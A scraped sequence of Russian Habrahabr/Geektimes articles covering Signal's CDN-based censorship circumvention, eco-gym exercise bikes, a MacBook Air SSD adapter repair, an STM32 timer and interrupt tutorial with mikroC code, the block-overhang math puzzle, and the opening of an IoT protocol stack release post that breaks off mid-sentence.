Кроме Google App Engine, для этой цели можно использовать Amazon CloudFront, Azure, Fastly, CloudFlare, Akamai, Level 3 и тому подобные сервисы CDN. По стоимости трафика предпочтительно выглядит и Azure, и Google App Engine, но стоимость трафика зависит от ряда условий, в том числе объёма трафика, количества инстансов, динамически поднятых для обслуживания трафика, количества часов их работы, района расположения дата-центра (такие тарифы в Amazon CloudFront) и некоторых других параметров. Отдельные CDN вроде Akamai вообще не публикуют тарифы для пропускаемого трафика, так что их приходится узнавать у реселлеров. В целом, тарифы у разных «крыш» начинаются примерно от $0,08 за гигабайт. Для сервиса передачи текстовых сообщений, даже для бесплатного сервиса, восемь центов — не очень большие деньги. Даже великий Tor, который пропускает большое количество трафика, платит за «крышу» всего $2043 в месяц. Это цифра за май 2015 года, в тот месяц через эти каналы прошло 11 666 ГБ трафика. Tor использует Google App Engine, Amazon CloudFront и (предположительно) Microsoft Azure. Приходится немного жертвовать скоростью передачи сообщений. Немного возрастает пинг и скорость передачи данных, но здесь издержки не такие уж большие. При передаче текстовых сообщений скоростью передачи данных вообще спокойно можно пожертвовать. В общем, Signal подаёт очень хороший пример другим мобильным приложениям и сервисам, которые хотят обезопасить себя от государственной цензуры, а заодно дополнительно защитить секретность частной переписки своих пользователей. Вполне вероятно, что с такой проблемой ещё столкнутся многие приложения, поскольку правительства разных стран мира проявляют всё больший интерес к частной переписки граждан через интернет-сервисы и мобильные приложения, особенно если там применяется стойкая криптография. Как показывает опыт Signal, когда государство теряет возможность прослушивать трафик, оно пытается его блокировать. Ситуация особенно опасна для стран с небольшим количеством интернет-провайдеров, которые контролируют внешние каналы связи. В случае необходимости они могут вообще временно отключить связь с внешнем миром и оставить пользователям доступ только к внутреннему сегменту интернета. С этой позиции цель Signal — сделать блокировку сервиса возможной только в том случае, если государство полностью перекроет гражданам доступ к интернету. После обновления мобильного приложения под Android пользователи Signal могут беспрепятственно пользоваться сервисом, спокойно путешествия даже по странам с действующей государственной цензурой. Теперь не требуется использовать услуги VPN. Соответствующая версия приложения Signal для iOS пока находится в бета-версии и тоже скоро выйдет в официальном релизе. В случае необходимости можно подписаться на бета-канал и получить бета-версию уже сейчас, отправив письмо на адрес support@whispersystems.org . Специалисты по безопасности называют Signal одним из самых безопасных интернет-мессенджеров. Его открытый и проверенный протокол end-to-end шифрования используется и другими популярными мессенджерами, в том числе Facebook Messenger и WhatsApp.
https://geektimes.ru/post/283998/
habrahabr
Велотренажеры-генераторы электричества как элемент «зеленого маркетинга»
['зеленый маркетинг', 'тренажерный зал', 'электричество']
Это обычные велотренажеры. Сколько они могут выработать энергии, если добавить генератор? В Сакраменто, Калифорния, в этом месяце открылся новый тренажерный зал. Его отличие от обычных залов в...
Это обычные велотренажеры. Сколько они могут выработать энергии, если добавить генератор? В Сакраменто, Калифорния, в этом месяце открылся новый тренажерный зал. Его отличие от обычных залов в том, что все велотренажеры, установленные в помещениях, оснащены генераторами электричества. По мнению руководства компании, вырабатываемое клиентами электричество не только поможет окупить затраты на приобретение тренажеров, но и снизит выбросы в атмосферу углекислого газа. Сама мысль о том, что кручение педалей поможет природе, по словам дирекции зала, может способствовать более эффективной тренировке посетителей. По оценкам Sacramento Eco Fitness, всего за год посетители помогут залу сэкономить около $26 000, что покроет затраты на 15 эко-тренажеров, приобретённых ранее. Звучит все просто сказочно, но не является ли все это фантастикой? По мнению одного из пользователей сети, который натолкнулся на расчеты руководства зала, расчеты действительно не соответствуют реальности. Причем сами расчеты были проведены еще в 2011 году, так что выполнять все вычисления заново не потребовалось. Тогда инженер Том Гибсон оценил мощность «человеческой электростанции» в 50-150 Вт за час. Этого вряд ли хватит для того, чтобы обеспечить зал электричеством и сэкономить целых $26 000 всего за год. Ряд пользователей сети, которые участвовали в обсуждении идеи «экозала», заявили, что все это чистой воды маркетинг, а не экономия. Более-менее реалистичные расчеты показывают, что пользователям зала нужно потеть на тренажерах десятилетиями для того, чтобы окупить расходы компании на приобретение экотренажеров. И действительно, на днях основатель компании Eco Fitness пояснил, что идея — вовсе не в том, чтобы сэкономить много средств. «Мы хотим, чтобы наши клиенты гордились своей работой на тренажерах каждый раз, когда начинаются занятия», — заявил он. Кстати, тренажеры, установленные в зале, выпускаются компанией SportsArt, которая была основана в 1978 году на Тайване. Тренажеры ECO-POWR SportsArt вырабатывают ток с напряжением в 120 В. Система оснащена преобразователем, превращающим постоянный ток генератора в переменный с частотой в 60 Гц. Ток подается в энергосеть помещения, что позволяет использовать вырабатываемую энергию. Но если подумать над тем, кто извлекает максимальную прибыль из идеи создания велотренажеров, вырабатывающих электричество, то становится понятно, что главный «бенефициар» — это производитель, компания SportsArt. Стоимость систем, поставляемых компанией, составляет от $2 795 до $7 395, что значительно выше стоимости обычных тренажеров. Велотренажеры SportsArt ECO-POWR оснащаются еще и приложением для мобильных устройств, позволяющим подсчитать объем вырабатываемой системой энергии. Руководство тренажерного зала не так давно озвучило цену на месячный абонемент. Она составляет $80 в месяц, что дешевле, чем в тренажерках класса «люкс», но в два раза выше, чем в обычных тренажерных залах, расположенных в окрестностях. Вот это уже, насколько можно понять, и поможет залу быстрее вернуть затраченные средства. А клиентами зала станут люди, которых беспокоят проблемы окружающей среды, и которые решат, пускай и ценой более высокой стоимости абонемента, помочь природе (хотя в данном случае не совсем понятно, как выработка небольшого количества энергии может положительно сказаться на состоянии окружающей среды). Все это больше похоже на «зеленый» маркетинг, который становится все популярнее, чем на реальное намерение как-то снизить антропогенную нагрузку на природу. Конечно, какой-то объем энергии зал будет получать благодаря своим посетителям. Так, в день 15 тренажеров будут работать 3 раза по 45 минут. Это обеспечит выработку от 400 до 800 Вт энергии в ходе каждого цикла. По мнению руководства зала, такого количества энергии хватит для того, чтобы обеспечить функционирование кофемашины, двух телевизоров и двух ноутбуков. Владелец зала также говорит, что помещение использует в светлое время суток практически исключительно солнечный свет для освещения, а не освещении с использованием электричества. В будущем здание, где располагается зал, планируют оснастить еще и солнечными батареями, что увеличить генерацию электричества и снизит нагрузку на электросеть. Как бы там ни было, это все же резко отличается от первоначального заявления о возможности экономить тысячи долларов на потреблении энергии. Грег Кремер, инженер из Университета Огайо, утверждает, что выработка энергии системами, подобными упомянутым выше тренажеров, чрезвычайно мала. «Если вы хотите сэкономить энергию и поработать физически, возьмите обычный велосипед, и катайтесь на нем на работу и учебу — так и физические нагрузки будут значительными, и использование энергии будет минимальными. Вот это — реальная экономия». Наверное, с мнением Кремера сложно будет не согласиться. В то же время, «зеленый маркетинг» сейчас процветает, и с этим придется мириться еще очень долгое время.
https://geektimes.ru/post/284000/
habrahabr
Совсем неоригинальный SSD в Macbook Air
['ssd', 'macbook']
Так случилось, что через две недели после того как у моего, Macbook Air 13" закончился Apple Care, умер SSD. Идти к официальному представителю, а также в левые лаборатории не хотелось. В...
Так случилось, что через две недели после того как у моего, Macbook Air 13" закончился Apple Care, умер SSD. Идти к официальному представителю, а также в левые лаборатории не хотелось. В первом случае совсем не адекватная цена проверки, во втором я так и не смог добиться от лаборатории цены ремонта, если окажется, что действительно поломался только SSD. Проблема усугублялась тем, что я не был на 100% уверен, что это SSD, а не материнская плата например, поэтому не был заказан суррогат от известных и не очень брэндов, например, OWC. Другая сложность заключалась в том, что Apple специально делает свои устройства как можно сложнее в ремонте, даже чтобы просто открутить крышку пришлось просить у знакомого набор отверток, поэтому неудивительно, что нельзя было просто взять первый попавшийся SSD и проверить. К счастью, и на эту хитрую гайку нашелся свой болт с резьбой, а именно, переходник, чтобы использовать с Macbook стандартные SSD диски. Наткнулся я на него совершенно случайно и думаю, что об этой возможности замены диска мало кому известно, поэтому и решил рассказать о своем опыте здесь. Опыт заключается в том, что был заказан переходник за 4 доллара с aliexpress, со второй попытки нашелся валявшийся у друга без дела 128Gb Samsung SSD, который встал как родной. Особенно производительность не измерял, но визуально открытие и установка программ как на родном. Глюков замечено тоже не было. Trim mode был включен вручную, в соответствии с инструкцией в этой статье . В итоге ремонт стоил гораздо дешевле, чем если бы я покупал совместимый суррогатный диск или, тем более, оригинальный. Имейте ввиду, что есть переходники на разные модели SSD и Macbookов, цены варьируются в пределах от 4 до 20 долларов. Иногда диск без какой либо видимой причины не подходит, так что если с одним диском не завелся, а переходник выбран правильно, то попробуйте с другим диском. Выбирайте очень аккуратно, визуально они все очень похожи. Лучше написать продавцу свою конкретную модель Macbook, чтобы не гадать. По моему, за 4$ и 20$ продают одинаковые переходники, разница только в надписях на плате. Купить можно на aliexpress, ebay, amazon, и есть сайты, которые специализируются на них. Пара фотографий, как это выглядит, в конце статьи (прошу прощения за качество, снималось телефоном на скорую руку). Надеюсь, мой опыт поможет кому-то. П.С. На русском пишу редко, если есть ошибки (а они есть), то пишите, пожалуйста, в личку, исправлю. П.П.С. Спасибо большое osmanpasha и Eugney за исправление ошибок.
https://geektimes.ru/post/284002/
habrahabr
Первые шаги с STM32 и компилятором mikroC для ARM архитектуры — Часть 2, начало…
['STM32', 'Timers STM32', 'microC', 'ARM', 'Maple-mini', 'Микроконтроллеры для начинающих']
Разобравшись с азами и поморгав светодиодом, можно переходить к реализации более сложных задач. Благо компилятор microC имеет множество полезных функций, значительно упрощающих жизнь программисту,...
Разобравшись с азами и поморгав светодиодом, можно переходить к реализации более сложных задач. Благо компилятор microC имеет множество полезных функций, значительно упрощающих жизнь программисту, в особенности начинающему. В прошлой части я рассказывал как реализовать опрос состояния порта МК, например для опроса подключенной к ней кнопки. Вообще порт в STM32 МК устроен весьма сложно. Вот схема GPIO порта из мануала: Вывод порта может работать в нескольких режимах, непосредственно как цифровой порт, кроме этого многие выводы могут использоватся как входы АЦП, выходы ШИМ модулятора, входы внешних прерываний, аппаратных последовательных SPI и I2C интрефейсов. (например PA6 это непосредственно 6 вывод порта А, 6 вход АЦП, выход 1 канала 3-го ШИМ модулятора / таймера и сигнал MISO 1-го SPI интерфейса). В microC для расширенной конфигурации GPIO есть функция GPIO_Set_Pin_Mode(&port_base, pin, config); &port_base — указатель на порт GPIO ( &GPIOE_BASE для порта Е или, например, &GPIOА_BASE для порта А ); pin — вывод порта с которым мы работаем ( _GPIO_PIN_5 для 5 вывода или, например, _GPIO_PIN_ALL для всех выводов порта ); config — режим работы порта ( несколько параметров записываем через оператор | ); _GPIO_CFG_MODE_INPUT — Сконфигурирован на вход; _GPIO_CFG_PULL_UP — Включен подтягивающий резистор на +Vcc; _GPIO_CFG_PULL_DOWN — Включен стягивающий резистор на GND;. _GPIO_CFG_PULL_NO — Подтягивающий и стягивающий резисторы отключены; _GPIO_CFG_MODE_ALT_FUNCTION — Вывод использован как вход/выход встроенного периферийного модуля, например UART или SPI _GPIO_CFG_MODE_ANALOG — Вывод используется как вход АЦП (в микроконтроллерах с встроенным ЦАП — как выход ЦАП); _GPIO_CFG_MODE_OUTPUT — Сконфигурирован на выход; _GPIO_CFG_OTYPE_OD — Включен режим работы "Открытый сток"; _GPIO_CFG_OTYPE_PP — Включен режим работы "push-pull" ("двухтактный выход", его чаще всего и используют); _GPIO_CFG_SPEED_MAX — Скорость работы GPIO, MAX для работы на полной скорости, которую обеспечивает APB допустимо использовать 400KHZ, 2MHZ, 10MHZ, 40MHZ, 50MHZ, 100MHZ. В прошлой части мы конфигурировали вывод порта на вход командой GPIO_Digital_Input (&GPIOb_BASE, _GPIO_PINMASK_8); По другому это можно сделать: GPIO_Set_Pin_Mode(&GPIOb_BASE, _GPIO_PINMASK_8, _GPIO_CFG_MODE_INPUT | _GPIO_CFG_PULL_NO); То-же но включив подтяжку к питанию: GPIO_Set_Pin_Mode(&GPIOb_BASE, _GPIO_PINMASK_8, _GPIO_CFG_MODE_INPUT | _GPIO_CFG_PULL_UP); По умолчанию, microC инициализируя порт на вход ( GPIO_Digital_Input() ) не подключает подтягивающие резисторы к пину МК, поэтому если одни нужны, то пользуемся GPIO_Set_Pin_Mode() с дополнительными параметрами. В прошлой части я уже рассказывал как при помощи МК опросить состояние входа, к которому подключена кнопка. В реале при использовании кнопок очень желательно вводить защиту от дребезга контактов (что это можно почитать на необъятных просторах Сети). В двух словах, это выдача механическим контактом, вместо одинарного, пачки случайных импульсов. МК может считать их и некорректно обработать. Существуют как аппаратные способы защити от дребезга (например емкость параллельно кнопке или триггер Шмидта) так и преогромные, коих описано великое множество. microC для подавления дребезга контактов есть специальная функция Button(&port_base, pin, delay, state) Данной функции мы передаем * port_base (например &GPIOb_BASE ); pin — номер вывода порта МК; delay — время, импульсы с длительностью меньше которого считаются дребезгом (например 1мс) и state — активное состояние (выокий или низкиий уровень на входе порта контролирует функция). Немного изменим программу из первой части, введя в нее программную защиту от дребезга кнопки: void main() { GPIO_Digital_Output(&GPIOb_BASE, _GPIO_PINMASK_1); GPIO_Digital_Input(&GPIOb_BASE, _GPIO_PINMASK_8); // Настраиваем вывод PB8 на вход GPIOb_ODR.b1 = 0; while(1) { if (Button(&GPIOb_IDR, 8, 1, 1)) // кнопка на порту PB(GPIOb), пин №8, задержка 1 мс, активное состояние (кнопка нажата) - высокий уровень. Функция вернет 1 если высокий уровень на входе продлится 1 мс, все импульсы короче - это дребезг, и не обрабатываются { GPIOb_ODR.b1=~GPIOb_ODR.b1; Delay_ms(500); //Задержка 500 мс } else { GPIOb_ODR.b1 = 0; //Если кнопку отпустили, погасить светодиод } } } При нажатие на кнопку видим мигающий светодиод. Теперь сделаем чтобы светодиод при первом нажатии начинал моргать, а при следующем переставал. unsigned short state = 0; // объявим переменную, в которой будем хранить нужные нам данные, в этой программе мы используем 2 бита (2 - используется для контроля отпускания кнопки и 1 - мигает или не мигает наш светодиод.) void main() { GPIO_Digital_Output(&GPIOb_BASE, _GPIO_PINMASK_1); GPIO_Digital_Input(&GPIOb_BASE, _GPIO_PINMASK_8); GPIOb_ODR.b1 = 0; while(1) { if (Button(&GPIOb_IDR, 8, 1, 1)) // кнопка нажата state.b2=1; // ставим флаг нажатой кнопки if (state.b2 && Button(&GPIOb_IDR, 8, 1, 0)) // кнопка отжалась, но в прошлом проходе цикла была нажата, значит включим/выключим наш светодиод { state.b2 = 0; // сбросим флаг нажатой кнопки state.b1= ~state.b1; // инвертируем флаг включенного светодиода } if (state.b1) // если флаг светодиода установлен то мигаем им { GPIOb_ODR.b1=~GPIOb_ODR.b1; Delay_ms(250); } else { GPIOb_ODR.b1 = 0; } Delay_ms(1); } } Теперь по нажатию на кнопку светодиод начинает мигать, а по следующему нажатию перестает (должен во всяком случае) Но так происходит не всегда… Причина в том что Delay_ms(250) это по сути 250 мс перебора пустого цикла ядром МК. В это время он только этим и занят, и напрочь игнорирует любые внешние воздействия на него (ну кроме ресет и отключения питания конечно, шутка юмора:)) Для того чтобы не занимать драгоценные такты микроконтроллера формированием временных интервалов у него существуют специальные блоки, называемые таймерами. У STM32 их количество доходит 14. Они имеют немного разные параметры настройки и могут использоваться не только для отсчета временных отрезков, но и например для генерации ШИМ. По сути каждый таймер представляет собой регистр TIMx_CNT (у STM 32 они 16 разрядные) который инкриметируется через определенное количество тактового тактового генератора МК (Точнее шины APB1 ( для таймера Timer1 — APB2 )к которой он подключен). Сколько тактов APB для увеличения значения регистра таймера на 1 должно пройти, указывает регистр предделителя, TIMx_PSC , на 16-разрядное значение в котором делится частота тактовой шины. У STM32F103 — 7 таймеров, TIM1 — Advanced-control timers , таймеры позволяющие расширенную настройку параметров (например формирование импульсов необходимых для работы преобразователей частоты используемых в электроприводе). В дальнейшей мы вернемся к ней в наших статьях. TIM1 имеет 4 канала ШИМ модулатора; TIM2, TIM3, TIM4 — General-purpose timers — Таймеры общего назначения. Их чаще всего используют, TIM2, TIM3, TIM4 имеют по 4 канала ШИМ модулатора; WDT — Wachdog timer — Таймер, используемый для предотвращения зависания МК; SysTick timer — 24 битный счетчик тактов ядра МК, используется, например, для оценки загрузки ядра . Для настройки таймеров используется множество регистров (параметров таймеров тоже очень даже не мало). Мы будем обращаться к тем параметрам, которые нам нужны при решении той или иной задачи. Основные регистры каждого таймера: TIMx_CNT — Собственно счетный регистр; TIMx_PSC — Предделитель частоты, коэффициент предделителя равен TIMx_PSC + 1 (не забывайте это, чтобы не попасть в ситуацию: "как не работает?" :)) ; TIMx_ARR — Значение счетного регистра, при достижении которого таймер обнуляется и генерируется прерывание (о них ниже); TIMx_CR1 — Регистр параметров таймера; TIMх_DIER — Регистр настойки прерванный и DMAтаймера; TIMх_SR — Регистр статуса таймера, в нем например присутствует флаг, показывающий срабатывание прерываня. При обнулении таймера, если это разрешено программно генерируется прерывание ( interrupt ). Прерывание это вызов определенного участка кода программы по некому событию. Источниками прерываний могут быть встроенные блоки МК, входы имеющие функцию создания прерывания (int) а также блок DMA. Фактически при поступлении прерывания МК переходит от выполнения основного кода к выполнению определенной подпрограммы, по окончании выполнения которой он возвращается в основной код (особая история когда при обработке одного прерывания возникает другое, но на этом акцентировать внимание пока не будем). В STM32 имеется более 70 так называемых векторов прерываний — событий инициирующих выполнения подпрограммы — обработчика прерывания. ПО умолчанию все прерывания запрещены. Для разрешения прерывания от того или иного блока необходимо изменить конфигурационные биты в управляющих регистрах того или иного блока МК. В microC для включения прерывания используется команда NVIC_IntEnable(NVIC_name) //NVIC_name - название вектора прерывания Вообще в microC есть очень полезная функция, называемая "Code assistant" . Вызывается она по нажатию комбинации клавиш Ctrl+Spase . Она полезна когда не помнишь точное название какого-то параметра. Набрав начальные символы, компилятор сам предложит завершить команду, выбрав из возможных значений. Например набрав "NVIC IntEnable(NVIC " b и вызвав "Code assistant" имеем: аналогично с параметрам регистров управления. Например набрав " TIM4_CR1bits. ", получаем: Внимательные читатели заметили что для доступа к отдельному биту регистра я использовал выражение типа REGx.by , например GPIOb_ODR.b1=0; \\1 бит регистра GPIOb_ODR TIM4_CR1.CEN \\ бит CEN регистра TIM4_CR1 есть и другая форма записи того же самого действия, причем "Code assistant" нормально работает только с ней GPIOb_ODRbits.ODR1=1; \\1 бит регистра GPIOb_ODR TIM4_CR1bits.CEN \\ бит CEN регистра TIM4_CR1 Для настройки нашего таймера необходимо выполнить следующие действия RCC_APB1ENR.TIM2EN = 1; //Подаем тактирование от шины APB1 (1/2 частоты ядра, 72/2=36 МГц) на таймер 2, по умолчанию оно отключено TIM2_CR1.CEN = 0; //Отключаем таймер 2, при включённом таймере не устанавливаются многие конфигурационные биты TIM2_PSC = 7199; //Устанавливаем частоту делителя, 7199+1 = 7200, при частоте на входе предделителя 72 МГц вход таймера тактируется с частотой 10 KГц TIM2_ARR = 5000; //Устанавливаем значение таймера при котором произойдет генерация прерывания и обнуление таймера NVIC_IntEnable(IVT_INT_TIM2); //Разрешаем вектор прерывания по таймеру TIM2_DIER.UIE = 1; // Разрешаем таймер создавать прерывание TIM2_CR1.CEN = 1; //Включаем таймер 2 * Важное замечание. Несмотря на то что TIM2, TIM3, TIM4 подключены к шине APB1, которая работает, в нашем случае, на половинной частоте (APB1 имеет максимальную частоту 36 МГц) HCLK, таймеры при установке предделителя APB1 отличного от 1 тактируются на удвоенной частоте шины, то есть при частоте APB1=HCLK/2 TIMxCLK = APB1 х 2, фактически, в нашем случае, частотой ядра. мы настроили таймер на генерацию прерывания каждые 500 мс. теперь создадим функцию, вызываемую при поступлении прерывания от таймера: void Timer2_interrupt() iv IVT_INT_TIM2 { TIM2_SR.UIF = 0; // Сбарсываем флаг прерывания, это нужно делать обязательно после каждого срабатывания прерывания таймера!!! //далее наш код } теперь все готово чтобы в очередной раз мигнуть нашим светодиодом, то теперь уже при помощи таймера unsigned short state = 0; void main() { GPIO_Digital_Output(&GPIOb_BASE, _GPIO_PINMASK_1); GPIO_Digital_Input(&GPIOb_BASE, _GPIO_PINMASK_8); RCC_APB1ENR.TIM2EN = 1; TIM2_CR1.CEN = 0; TIM2_PSC = 7199; TIM2_ARR = 5000; NVIC_IntEnable(IVT_INT_TIM2); TIM2_DIER.UIE = 1; TIM2_CR1.CEN = 1; while(1) { } } void Timer2_interrupt() iv IVT_INT_TIM2 { TIM2_SR.UIF = 0; GPIOb_ODR.b1=~GPIOb_ODR.b1; } Давайте будем включать и отключать таймер при помощи нашей кнопки, которая теперь будет работать как нужно. unsigned short state = 0; void main() { GPIO_Digital_Output(&GPIOb_BASE, _GPIO_PINMASK_1); GPIO_Digital_Input(&GPIOb_BASE, _GPIO_PINMASK_8); RCC_APB1ENR.TIM2EN = 1; TIM2_CR1.CEN = 0; TIM2_PSC = 7199; TIM2_ARR = 5000; NVIC_IntEnable(IVT_INT_TIM2); TIM2_DIER.UIE = 1; while(1) { if (Button(&GPIOb_IDR, 8, 1, 1)) state.b2=1; if (state.b2 && Button(&GPIOb_IDR, 8, 1, 0)) { state.b2 = 0; state.b1= ~state.b1; } if (state.b1) { TIM2_CR1.CEN = 1; // запускаем таймер } else { TIM2_CR1.CEN = 0; // отключаем таймер GPIOb_ODR.b1 = 0; // гасим светодиод } Delay_ms(1); } } void Timer2_interrupt() iv IVT_INT_TIM2 { TIM2_SR.UIF = 0; GPIOb_ODR.b1=~GPIOb_ODR.b1; } * продолжение следует
https://habrahabr.ru/post/318352/
habrahabr
Какая фигура из одинаковых плоских предметов будет дальше всего выглядывать за край стола?
['jenga', 'фигуры из монеток', 'математика', 'математические задачи']
В ноябре журнал Quanta озадачил своих читателей вопросами, касающимися составления фигур из одинаковых плоских предметов (таких, как монеты или костяшки домино). В этой статье даны как вопросы,...
В ноябре журнал Quanta озадачил своих читателей вопросами, касающимися составления фигур из одинаковых плоских предметов (таких, как монеты или костяшки домино). В этой статье даны как вопросы, так и подробные ответы на них. Вопрос 1 В классической задаче построения нависающей фигуры все блоки должны быть однородными, одинаковыми по размеру и форме, и их длина принимается за единицу. На каждом уровне фигуры может быть только один блок. Блоки нельзя соединять или склеивать. Если у вас есть пять таких блоков, на какую максимальную длину может высунуться конец верхнего блока за край стола, на котором они лежат? Можете ли вы вывести формулу для максимального нависания при использовании n блоков? Физически задача требует сбалансировать крутящий момент фигуры с двух сторон края стола. Крутящий момент каждой стороны находится произведением массы этой стороны и расстояния от центра масс до края. Когда центр масс всей фигуры находится над краем, на обе её стороны действует одинаковый момент, и общий крутящий момент системы равен нулю. Для составного объекта общий крутящий момент для любой грани можно найти, сложив крутящие момент всех составных частей. Поэтому мы можем разделить и властвовать над изначальной задачей, рассматривая только изменения, происходящие при добавлении нового блока к существующей стопке, нечто вроде математической индукции (назовём это физической индукцией). Рассмотрим стопку из n-1 блоков, каждый из которых весит одну единицу веса и имеет длину в одну единицу длины. Стопка сбалансирована на краю стола. Представьте, что линия взгляда направлена вдоль края стола, и стол слева – то есть, свисающие концы блоков высовываются вправо. Поскольку стопка сбалансирована на краю, центр масс находится прямо над краем, и её крутящий момент равен нулю. Теперь представим, что мы подняли всю стопку вертикально, и расположили ещё один блок под ней так, чтобы его правый край был вровень с краем стола. На практике это может оказаться сложным, но в мысленном эксперименте это просто. Мы добавили немного стабильности стопке, добавив n-ный блок снизу, поскольку центр масс всей стопки немного сместился влево. Обозначим это смещение х. n блоков весят n единиц, и у них появился общий крутящий момент x*n вокруг края стола, направленный влево. Вспомним, что у стопки из n-1 блоков общий момент нулевой. Мы добавили только момент нового блока – массой в одну единицу массы и с расстоянием до центра масс от края стола в половину единицы длины. Получается, что x*n = 1/2, а значит, x = 1/2n, где x – расстояние до нового центра масс от края стола. Это значит, что если вы сдвинете всю стопку из n блоков вправо на 1/2n длины, она будет идеально сбалансирована на краю – и это максимально возможный сдвиг. Для завершения построения индукции отметим, что максимальный свес первого блока с края стола составляет 1/2 единицы длины. Поэтому, для пяти блоков мы подставляем в формулу n для каждого уровня от 1 до пяти, чтобы получить максимальный свес: x=1/2+1/4+1/6+1/8+1/10=137/120=1,141(6) Видно, что если начать сверху и затем добавлять блоки вниз, каждый сдвиг составит половину от обратного количества имеющихся блоков. Такие последовательности из обратных чисел известны, как гармонические ряды. Такой ряд медленно расходится, и при устремлении n к бесконечности тоже стремится к бесконечности. Общая формула суммы для n блоков получается суммированием всех членов ряда. Получается половина n-ного гармонического члена, который можно записать, как: Вопрос 2 Представьте, что у вас есть те же пять блоков, и вы хотите поставить на самый верхний из них некое украшение, в точке, удалённой на четверть длины блока от свисающего конца. Все блоки весят по одной единице веса, а украшение весит одну пятую от блока. Какая теперь длина максимального нависания? Как это меняет основную формулу? Сначала рассмотрим первый блок с украшением, стоящим на нём, и лежащий так, что его правый край находится на одном уровне с краем стола. Центр масс блока без украшения находится в половине единицы длины от края стола. Украшение сдвинет его вправо, допустим, на x. Масса украшения 1/5, а его расстояние от нового центра масс будет 1/4-х. Приравняем моменты и получим х = 1/5*(1/4-х), следовательно, х = 1/24. Из-за украшения необходимо подвинуть первый блок влево на 1/24 длины, поэтому максимальный свес составляет теперь 11/24 вместо 1/2. Для последующих блоков можно применить ту же индукцию, что и в первом вопросе. Получаем уравнение х(n+1/5) = 1/2, которое для n блоков упрощается до 1/2(n+1/5). Это даёт нам последовательность 1/24 + 5/12 + 5/22 + 5/32 + 5/42…, что приводит к максимальному нависанию в 1,057 для пятиуровневой фигуры. Отметим, что нависание первого блока не укладывается в общую схему благодаря дополнительному весу украшения. Тем не менее, появляется простая гармоническая последовательность, через которую легко можно высчитать окончательную сумму. Вопрос 3 Представьте, что вы соревнуетесь с другом в игре, в которой необходимо создавать нависающие структуры. Сначала у вас есть по одному блоку. Вы ставите свои блоки с любым нависанием от края стола. Затем вам выдают случайное, но одинаковое количество дополнительных блоков от одного до четырёх. Каждый ход начинается с изначального блока в качестве основы, положение которого потом менять нельзя, и с дополнительного набора от одного до четырёх блоков. Как сильно вам нужно вынести изначальный блок за край стола, чтобы у вас оказался максимально возможный свес после большого количества ходов? Поскольку вероятность наличия от двух до пяти блоков одинакова, вам нужно максимизировать сумму, обозначающую максимальный свес для этих четырёх случаев. Для стопки из 2-5 блоков есть оптимальная позиция первого блока, дающая максимальный свес всей стопки. Если построить на графике наибольший свес для каждого из четырёх возможных размеров следующей стопки, получится два линейных графика и два графика в виде перевёрнутой V. Их вершины указывают оптимальную начальную позицию изначального блока для стопок из 3-4 блоков. Просуммировав графики, получим общий график свеса, резко меняющий направление в каждой из четырёх оптимальных позиций. Оказывается, что наилучший общий свес достигается в оптимальной позиции для трёх блоков, после которой график идёт вниз. Поэтому нужно располагать изначальный блок в предположении, что вам дадут три дополнительных блока, и свес составит 1/6 единицы длины. Читатели указали несколько ограничений, запрещающих этому гипотетическому математическому мосту уходить в бесконечность: ветер, неравномерность, отсутствие бесконечной точности, эластичность или недостаточная твёрдость блоков и стола, и т.д. Это, конечно, правильно. К этому можно добавить кривизну Земли и отсутствие бесконечного пространства. Какое из этих ограничений быстрее всего обвалит нашу стопку? Для ответа на этот вопрос полезно изучить смежный с ним: если забыть о свесах с края и просто складывать блоки Jenga один на другой, математически ограничения на высоту башни нет. Но развалят её небольшие несовершенства в блоках и неточность в их построении, а роль последней соломинки сыграет вибрация или ветер. То же верно и для нашей свешивающейся фигуры. Если скорректировать все эти факторы, в какой-то момент сыграет и жёсткость блоков, когда нижние блоки немного искривятся и отойдут от горизонтали из-за общего крутящего момента всех блоков выше, что приведёт к соскальзыванию верхних блоков. Я упоминал, что достичь наибольшего свеса можно, если допустить использование нескольких блоков на одном уровне. Как отметило несколько читателей, оптимальное решение этой задачи описано в работе 2009 года «Максимальный свес» [ Maximum Overhang , by Paterson, Peres, Thorup, Winker and Zwick]. Мне небольшие конструкции, сделанные по методике Патерсона-Цвика, напоминают зимородка. Большие выглядят как волшебные лампы. Для свеса в две единицы длины эти схемы в 2-3 раза эффективнее классических гармонических свесов, и достигают такого свеса при помощи 14 блоков вместо 32. К сожалению, их математика слишком сложна для данной статьи.
https://geektimes.ru/post/284004/
habrahabr
Релиз alpha-версии стека протоколов для Интернета вещей
['iot', 'linux', 'open source', 'network']
Всем привет! Праздничная атмосфера уже стучится в экраны мониторов и прилетает спамом на ваши электронные адреса. Вот и мы решили выполнить своё обещание и вывести в свет наш стек. Перейдем к...
Всем привет! Праздничная атмосфера уже стучится в экраны мониторов и прилетает спамом на ваши электронные адреса. Вот и мы решили выполнить своё обещание и вывести в свет наш стек. Перейдем к главному: что же мы такого сделали. Сразу оговоримся: сравнивать стек MOAR и IPv6 мы не будем, поскольку говорить сейчас об IPv6 — это почти то же самое, что говорить о подростковом сексе: все о нём говорят, мало кто о нём хоть что-то знает и лишь единицы его действительно пробовали. Пара слов о нашей тестовой ноде Нодой мы будем называть одно устройство с одним экземпляром стека. Нода создавалась для тестирования работы стека в привязке к внешним датчикам. Нам нужно было максимально транспортабельное решение, и изначально всё было уложено в простую картонную коробку. Но её надолго не хватило, а постоянно раскрывать коробку для получения информации нам надоедало, а с учетом того, что все элементы крепились на проводах, сложность использования в какой то момент пересилила лень, и было предложено сделать корпус. Доступ к 3D-принтеру быстро поставил точку в вопросе как его изготовить. Тестовое устройство получилось достаточно удачным и проделало путь с нами из Калининграда в Хельсинки и обратно почтой России. Примеры В релизе есть пример, на основе которого можно будет понять, как использовать стек в своих приложениях. Мы будем развивать образовательную базу и работать над тем, чтобы адаптация нашего решения под ваши проекты была максимально комфортной. Разобравшись с периферийными вопросами, перейдём к рассмотрению структуры стека Логическая структура MOAR стека содержит несколько уровней: Интерфейсный уровень — обеспечивает прямое соединение с ближайшими нодами по некоторому физическому или логическому каналу. Интерфейсных уровней может быть несколько, по одному на каждый физический или логический интерфейс обмена данными. Уровень либо работает с драйвером интерфейса, либо сам выполняет его роль. Канальный уровень — выбирает наиболее подходящий способ связи (интерфейс) с каждой из ближайших нод и выполняет сопутствующие задачи. Уровень маршрутизации (“роутинга”) — предоставляет алгоритмы для поиска наиболее оптимальных маршрутов передачи данных. Уровень представления — обеспечивает криптографию и разбиение данных, а также обратные преобразования. Сервисный уровень — предоставляет API для использования MOAR стека из других приложений. На данный момент каждый уровень исполняется в отдельном потоке основного процесса, 